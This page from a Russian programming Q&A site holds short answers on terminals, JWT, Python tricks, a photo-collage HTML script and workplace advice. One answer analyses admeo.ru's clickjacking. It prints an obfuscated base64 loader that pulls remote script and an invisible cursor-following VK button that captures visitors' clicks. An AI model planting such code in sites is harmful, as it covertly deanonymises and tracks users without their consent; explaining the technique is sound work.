Задать вопрос
  • Как делают прогресс бары закрепленные внизу?

    shurshur
    @shurshur
    Сисадмин, просто сисадмин...
    man console_codes

    Читаем про коды, которые перемещают по экрану (ESC[x;yH), меняют цвета (ESC[x;y;zm) и всё такое. Также обратить внимание на scroll region (ESC[top;bottomr), сохранение и восстановление положения курсора (ESC[?s, ESC[?u). Размер терминала можно получить с помощью ioctl TIOCGWINSZ (низкоуровневый вариант) или функции get_terminal_size модуля shutil, изменение размеров терминала в процессе работы можно отслеживать с помощью сигнала SIGWINCH.
    Ответ написан
    Комментировать
  • Как привязать нужного пользователя к правильной сессии?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    JWT используется в stateless-режимах. Основной токен на сервере не хранится вообще. Он подписан выдающим сервером и, если подпись верна, то рабочий сервер просто доверяет информации в токене.
    Если клиент не прислал токен или прислал просроченный токен или подпись неверна, то в ответ сервер требует авторизацию. Если пришёл действительный токен, то сервер просто использует данные из токена.
    Ответ написан
  • Объясните, Как работает WSGI?

    qlkvg
    @qlkvg
    python backend developer
    https://www.youtube.com/watch?v=LEbVn0cJQLg&list=L...

    крайней толковый доклад про WSGI и ASGI. про WSGI буквально первые 5 минут, но вполне подробно на примере объясняется
    Ответ написан
    Комментировать
  • Как в строке узнать индекс буквы, зная её?

    SoreMix
    @SoreMix Куратор тега Python
    yellow
    Невероятно, но для нахождения индекса нужно использовать метод index, передав в него букву
    Ответ написан
    Комментировать
  • Как сделать вычисления только функциями?

    0xD34F
    @0xD34F
    zero, one, two, three, four, five, six, seven, eight, nine = \
      [ lambda f = None, v = i: f(v) if callable(f) else v for i in range(10) ]
    
    plus = lambda a: lambda b: b + a
    minus = lambda a: lambda b: b - a
    times = lambda a: lambda b: b * a
    divided_by = lambda a: lambda b: b // a
    Ответ написан
    Комментировать
  • Как склеить много фотографий в одну картинку?

    @alexalexes
    Самый бюджетный вариант коллажа с использованием браузера.
    1. Копируете этот код и сохраняете в файле index.html;
    2. Создаете каталог photo рядом с файлом index.html и закидываете туда уже пронумерованные по порядку фото.
    3. Поправляете параметры:
    а) В селекторе "table tr td img" задаете width и height - размер одной миниатюры в коллаже.
    б) Указываете photo_count - кол-во фоток в каталоге photo.
    в) Указываете col_count - кол-во фоток в одном ряду коллажа.
    г) Указываете start_pic_number - с какого номера начинается нумерация фоток.
    д) Указываете filename_counter_size - размерность нумерации фоток, если идет 01, 02, 03 - то размерность 2,
    если, например 00001, 00002, 00003, то размерность 5.
    е) Задаете принцип формирования имени файла в filename.
    Если расширение у вас не jpg, а например png, то строка будет выглядеть так:
    var filename = filename_counter + '.png';
    Если в имени файла есть какие-то постоянные символы, кроме счетчика, например они именуются DSC_0001.JPG, то имя файла будет формироваться так:
    var filename = 'DSC_' + filename_counter + '.JPG';
    Имя файла чувствительно к регистру символов!
    ж) Корректируюете путь к файлу относительно страницы index.html, если требуется.
    var filepath = 'photo/' + filename;
    Фрагмент 'photo/' задает каталог с фотками.
    Следует избегать именования каталога и фоток кириллицей.
    4. Открываете index.html в браузере.
    5. Если файлов много, то ждете окончания открытия страницы. Зависит от производительности компа, свободной оперативной памяти.
    6. Если все в порядке, то миниатюры отобразятся. Это значит, что путь задан верно для фоток и фотки пронумерованы правильно и компу хватило ресурсов отобразить коллаж.
    7. Делаем скриншот всей страницы:
    Инструкция для браузера Google Chrome.
    Ctrl+Shift+I — войти в режим разработчика.
    Ctrl+Shift+M — нажать в нем на кнопку эмуляции просмотра в мобильных устройствах.
    Нажать на кнопку меню в окне эмулации (см. в правый верхний угол страницы) и выбрать пункт «Capture full size screenshot».
    После некоторого времени браузер "закачает" некий файл изображения.
    Это и будет конечный результат - коллаж.
    <html>
      <head>
        <style>
          html, body
          {
            margin: 0;
            padding: 0;
          }
          table
          {
            border: none;
          }
          table tr td img
          {
            width: 400px;
            height: 300px;
          }
          table tr td p
          {
            font-size: 10pt;
            text-align: center;
            margin-top: 0;
            margin-bottom: 0;
          }
        </style>
      </head>
      <body>
       <table id="container">
       </table>
       <script>
          function gen_collage()
          {
            var photo_count = 10; // кол-во фото в каталоге (нужно задать)
            var col_count = 5; // кол-во фото в одной строке коллажа (нужно задать)
            var row_count = photo_count / col_count + (photo_count % col_count > 0 ? 1 : 0); // вычисляем, сколько строк для генерации коллажа потребуется
            var start_pic_number = 1; // индекс первой фотки коллажа (если файлы начинаются, например, с 01.jpg, то нужно поставить 1)
            var filename_counter_size = 2; // размер счетчика с ведущими нулями, если поставить 2, то будет генерировать 01, 02, 03 и тд.
            var cur_pic_number = start_pic_number; // номер текущей фотки
            var table_inner = ''; // содержимое таблицы коллажа
            for(var i = 0; i < row_count; i++)
            {
              var row_pictures_inner = '<tr>'; // строка коллажа
              for(var j = 0; j < col_count; j++)
              {
                row_pictures_inner += '<td>'; // ячейка коллажа
                if(cur_pic_number - start_pic_number < photo_count)
                {
                  var filename_counter = ('000000000' + cur_pic_number).substr(-filename_counter_size); // счетчик с ведущими нулями
                  var filename = filename_counter + '.jpg'; // имя файла на основе счетчика (сейчас генерирует 01.jpg, 02.jpg и тд.)
                  var filepath = 'photo/' + filename; // путь к файлу (сейчас задан относительный путь, файлы нужно поместить в каталог photo, index.html должен лежать рядом с каталогом photo)
                  row_pictures_inner += '<div><img src="' + filepath + '"/><p>' + filename + '</p></div>'; // содержимое ячейки коллажа
                }
                row_pictures_inner += '</td>';
                cur_pic_number++;
              }
              row_pictures_inner += '</tr>';
              table_inner += row_pictures_inner;
            }
            document.getElementById('container').innerHTML = table_inner;
          }
          gen_collage();
       </script>
      </body>
    </html>
    Ответ написан
    Комментировать
  • Какие стратегии повышения зарплаты существуют?

    sergey-gornostaev
    @sergey-gornostaev
    Седой и строгий
    Центральный показатель для бизнеса, а следовательно и руководителей, как людей представляющих интересы этого самого бизнеса - это коэффициент возврата инвестиций (ROI). Соответственно, сотрудник должен приносить компании больше денег, чем потребляет. Естественно, что чем выше разрыв между затратами и прибылью, тем лучше, поэтому фонд оплаты труда руководитель должен держать на том минимальном уровне, который гарантирует бесперебойную работу сотрудников. Один из факторов этой бесперебойности - низкая текучка. Сотрудников терять нежелательно. И чем ценнее для компании сотрудник, чем более он профессионален и/или чем больше на него завязано, тем дороже обходится его потеря. Натурально в деньгах. Придётся затратить больше, чем обычно, денег на поддержание работы без него. Придётся затратить деньги и время (те же деньги) на поиск, найм, введение в работу, возможно, обучение нового сотрудника. При этом он может оказаться совсем неподходящих и цикл придётся повторить. Или может оказаться просто хуже прошлого и эффективность отдела снизится. Поэтому, когда сотрудник приходит просить прибавку, руководитель оценивает может ли этот сотрудник уйти или только блефует, насколько легко его будет заменить, какой урон компании будет нанесён его уходом. Потом руководитель оценивает стоимость расширения ФОТ - есть ли резервы, какой сейчас ROI, будет ли больший ROI от реинвестиции этих средств во что-то другое? Если уход сотрудника будет стоить меньше, чем увеличение ФОТа, сотруднику откажут.

    Естественно, всё описанное справедливо для случая, когда руководитель - профессиональный менеджер. А то часто на месте руководителя сидит человек руководствующийся эмоциями и мутными соображениями вычитанными в сомнительной бизнес-литературе.

    Из этого вывод, стратегия проста - увеличивайте собственный профессиональный уровень на столько, чтобы свободно менять компанию, как только вас что-то перестало устраивать.
    Ответ написан
    4 комментария
  • Помогают ли очки для компьютера?

    @d-sem
    Очки помогают, если есть блики или нужна коррекция при плохом зрении.

    В основном они больше помогают моргать, как следствие улучшая увлажение глаз, чем улучшают зрение и уменьшают нагрузку на глаза.

    В основном помогает правильная организация рабочего места и режима рабочего дня. Советы простые, но действенные. Более подробно можно на гуглить или спросить любого офтальмолога.

    Рабочее место:
    1) сидеть ровно
    2) смотреть на монитор немного сверху вниз
    3) отсутствие бликов на экране
    4) держать дистанцию до экрана

    Организация рабочего дня:
    1) гимнастика для глаз каждые полчаса. 15 минут в час не за компьютером.
    2) каждые пару часов гимнастика для шеи и спины.
    3) больше гулять и меньше пялиться в экран в рабочие дни

    Главное избегать спазмов и сухости в глазах и пережатий в шее. Спазмы и сухость глаз ухудшают питание, и глаз деградирует. Пережатия в шее сажают глаза на голодный паек и глаза деградируют.
    Ответ написан
    Комментировать
  • Как выполнять бесконечный цикл, чтобы он не блокировал работу всей программы?

    hottabxp
    @hottabxp Куратор тега Python
    Сначала мы жили бедно, а потом нас обокрали..
    Я делал похожего бота для этого сайта(для получения новых вопросов по моим тегам). Алгоритм работы был примерно таким:
    1) Создал функцию, которая загружает и парсит главную страницу этого сайта. Вытаскивает из нее все ссылки на новые вопросы. Функция возвращает список ссылок.
    2) В цикле for беру каждую ссылку, и проверяю - есть ли она в файле(можно БД прикрутить). Если данной ссылки нет - значит вопрос новый. Добавляю ссылку в файл, и отправляю её себе в телеграм. Если ссылка в файле есть, значит этот вопрос уже отправлялся мне в телеграм, и, следовательно, - ничего не делаю
    3) В боте делал цикл с задержкой 5 минут, и в цикле вызывал функцию-парсер.
    5e57a5a5d8f6b747820507.png
    Ответ написан
    1 комментарий
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Как побороть сонливость и апатию в течение дня?

    nki
    @nki
    bezkart.ru готовая система лояльности
    Мне помогла ипотека, автокредит, трое детей и неработающая жена.
    Ответ написан
    9 комментариев
  • Как работать с api сделанном на django rest framework?

    idegree
    @idegree
    Senior Workaround Developer
    Я бы остановился на requests в целом.

    Но есть и следующий подход. DRF умеет генерировать swagger, а здесь можно из swagger спеки сгенерировать клиента для нужно языка программирования по этой схеме.
    Ответ написан
    2 комментария
  • 8. Именование переменных. Как решить это в Яндекс.Практикум(Python)?

    sergey-gornostaev
    @sergey-gornostaev Куратор тега Python
    Седой и строгий
    Профи первый день в Python начинают с чтения учебника, а практикумы берутся проходить после полного прочтения.
    Ответ написан
    Комментировать
  • Как парсить единицы измерения ms/s на pyparsing и python?

    на бросал быстренько на чистой регулярки, дальше че хотите то и делайте с результатами
    import re
    from dataclasses import dataclass
    
    
    @dataclass
    class Time:
        minute: int
        second: int
        ms: int
    
        @classmethod
        def init(cls, data):
            return cls(**{k: int(v) for k, v in data.items()})
    
        def to_seconds(self):
            return self.minute * 60 + self.second
    
    
    strings = ["1m57s", "17s520ms", "1m", "10s"]
    time_parse = re.compile(r"((?P<minute>\d+)(m(?!s)))?((?P<second>\d+)(s))?((?P<ms>\d+)(ms))?")
    
    d = [Time.init(time_parse.match(v).groupdict(default='0')) for v in strings]
    
    print(d)
    print([v.to_seconds() for v in d])
    
    [Time(minute=1, second=57, ms=0), Time(minute=0, second=17, ms=520), Time(minute=1, second=0, ms=0), Time(minute=0, second=10, ms=0)]
    [117, 17, 60, 10]
    Ответ написан
    1 комментарий
  • Есть ли такой модуль на python?

    deepblack
    @deepblack Куратор тега Python
    Незнаю зачем тут поисковик, но
    Для получения изображений можно использовать Unsplash API метод get-a-random-photo

    Библиотеки:
    https://github.com/yakupadakli/python-unsplash
    https://github.com/salvoventura/pyunsplash

    Если нужен именно поисковик, то вот пример:
    https://github.com/arrrlo/Google-Images-Search

    from google_images_search import GoogleImagesSearch
    
    # if you don't enter api key and cx, the package will try to search
    # them from environment variables GCS_DEVELOPER_KEY and GCS_CX
    gis = GoogleImagesSearch('your_dev_api_key', 'your_project_cx')
    
    # example: GoogleImagesSearch('ABcDeFGhiJKLmnopqweRty5asdfghGfdSaS4abC', '012345678987654321012:abcde_fghij')
    
    #define search params:
    _search_params = {
        'q': '...',
        'num': 1-50,
        'safe': 'high|medium|off',
        'fileType': 'jpg|gif|png',
        'imgType': 'clipart|face|lineart|news|photo',
        'imgSize': 'huge|icon|large|medium|small|xlarge|xxlarge',
        'imgDominantColor': 'black|blue|brown|gray|green|pink|purple|teal|white|yellow'
    }
    
    # this will only search for images:
    gis.search(search_params=_search_params)
    
    # this will search and download:
    gis.search(search_params=_search_params, path_to_dir='/path/')
    
    # this will search, download and resize:
    gis.search(search_params=_search_params, path_to_dir='/path/', width=500, height=500)
    
    # search first, then download and resize afterwards
    gis.search(search_params=_search_params)
    for image in gis.results():
        image.download('/path/')
        image.resize(500, 500)
    Ответ написан
    Комментировать
  • Вопрос по поводу реализации чата в онлайн играх, знает ли кто об этом?

    firedragon
    @firedragon
    Не джун-мидл-сеньор, а трус-балбес-бывалый.
    У вас есть соединение, причем постоянное. Реализуйте класс чата, комнаты и сообщения.
    Дальше на сервере реализуйте обмен.

    Chat
    AddChanel
    JoinUserToChat
    KickOffUser
    ListUsers

    Chanel
    ListUsers
    SendMessage
    SendPrivateMessage

    Message
    Create
    AddAttachment
    Ответ написан
    Комментировать
  • Какое железо брать по python?

    sergey-gornostaev
    @sergey-gornostaev
    Седой и строгий
    Хилое, чтобы была мотивация делать эффективное и производительное ПО.
    Ответ написан
    Комментировать
  • Инструменты для создания обучающих видео презентаций?

    alekseyHunter
    @alekseyHunter
    Android developer
    • Делаем презентацию (Power Point)
    • Добавляем эффекты по клику мыши
    • Включаем запись экрана и кликаем по презентации (Bandicam, NVidia Shadow Play)
    • Пишем отдельно звук (объяснения)
    • Склеиваем в видео редакторе (Sony Vegas, Adobe Premiere)
    Ответ написан
    Комментировать
  • Как передать ключ "сложного" словаря в качестве аргумента функции?

    sergey-gornostaev
    @sergey-gornostaev Куратор тега Python
    Седой и строгий
    from functools import reduce, wraps
    
    
    def silenced(*exceptions, typed=False):
        def decorator(f):
            @wraps(f)
            def wrapper(*args, **kwargs):
                try:
                    return f(*args, **kwargs)
                except exceptions as exc:
                    if typed:
                        return exc.__class__
                    return None
            return wrapper
        return decorator
    
    
    @silenced(IndexError, KeyError)
    def item_getter(container, key):
        if container is not None:
            return container[key]
    
    
    exampe = {
      'Building': {
        'Flat': {
          'Flat_1': {
            'App_1': 3, 
            'App_2': 5
          }, 
          'Flat_2': {
            'App_3': 1, 
            'App_4': 3
          }
        }
      }
    }
    
    path = ['Building', 'Flat', 'Flat_2', 'App_4']
    value = reduce(item_getter, path, example)
    print(value)
    Ответ написан
    Комментировать